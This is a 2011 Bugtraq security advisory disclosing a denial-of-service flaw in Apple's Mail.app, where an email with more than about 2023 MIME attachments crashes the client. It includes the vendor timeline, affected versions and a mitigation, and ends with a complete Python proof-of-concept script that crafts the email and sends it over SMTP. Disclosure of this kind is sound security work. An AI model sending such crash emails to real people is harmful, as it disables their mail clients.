bugtraq - Apple's Mail.app mail of death

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Date: Sat, 29 Oct 2011 12:21:59 -0400
From: Paul <shebang@...e-mail.net>
To: bugtraq@...urityfocus.com
Subject: Apple's Mail.app mail of death

OVERVIEW

Mail.app mail client is vulnerable to a DoS by sending a crafted email.


VENDOR

Apple Inc.

Vendor contacted:       25 July 2011
Vendor reply:           20 September 2011.
Vendor's actions:       Details confidential.


VULNERABILITY DESCRIPTION

Send an email with > 2023 MIME attachments to the vicim client.  Upon parsing the attachments, the mail client crashes.

Impact:         DoS
Type:           Remote, by sending a crafted email.  Buffer overflow on parsing MIME attachments.
Result:         Mail.app crashes upon parsing the attachments, and produces a crash report.
                Client leaves email on mail server, so it crashes again on the same mail at next startup.
Difficulty:     I can teach it my mother.


VULNERABLE VERSIONS

- All versions up to Mac OS X 10.7.2 on Intel. (Mail.app version 5.1)
- At least the mail client on IOS 4.2.x, 4.3.3.  (IOS 5.x untested)

- Not vulnerable: Leopard on PPC


SOLUTION

...


MITIGATION

Some spam cleaners are capable of limiting the number of attachments.


CREDITS

shebang42


PROOF OF CONCEPT CODE


#!/usr/bin/env python

# Mail of death for Apple's Mail.app
#
# Tested & vulnerable:  Leopard/Intel, Snow Leopard, Lion (up to 10.7.2), IOS 4.2.x, 4.3.3
# Tested != vulnerable: Leopard/PPC
# Create mail with n_attach MIME attachments
# Version 1.0; shebang42

import smtplib

n_attach=2040 # ~2024 is sufficient
relay='your.mta.goes.here'
mailfrom = 'mail_of_death@...mple.com'
mailto = mailfrom
subject = 'PoC Apple Mail.app mail of death'
date = 'October 29, 2011 10:00:00 GMT'


def craft_mail():
    header = 'From: %s\nTo: %s\nSubject: %s\nDate: %s\nContent-Type: multipart/mixed ; boundary="delim"\n\n' % (mailfrom, mailto, subject, date)
    body = '--delim\nContent-Type: text/plain\nContent-Disposition: inline\n\nHello World\nBye Mail.app\n\n\n'
    attach = '--delim\nContent-Disposition: inline\n\n'*n_attach

    ### Another, slightly longer option to crash Mail.app (same bug)
    # attach = '--delim\nContent-Type: text/plain\nContent-Disposition: attachment; filename=AAAAAAAA\n\ncontent\n'*n_attach
    return header + body + attach


def send_mail(mail):
    server = smtplib.SMTP(relay)
    server.sendmail(mailfrom, mailto, mail)
    server.quit()

mail=craft_mail()
#print mail
send_mail (mail)